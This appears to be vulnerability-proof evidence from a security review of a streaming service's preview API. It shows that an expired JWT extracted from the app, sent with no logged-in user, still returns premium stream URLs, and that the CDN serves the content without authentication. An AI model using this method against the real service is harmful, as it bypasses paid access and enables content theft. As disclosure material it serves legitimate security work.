 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/6065/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access
paid_for YES (premium content)
substatus EXPIRED
serverhost 60
video_name UNSTOPPABLJR.mp4
playingUrl returned YES — URL in response

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).
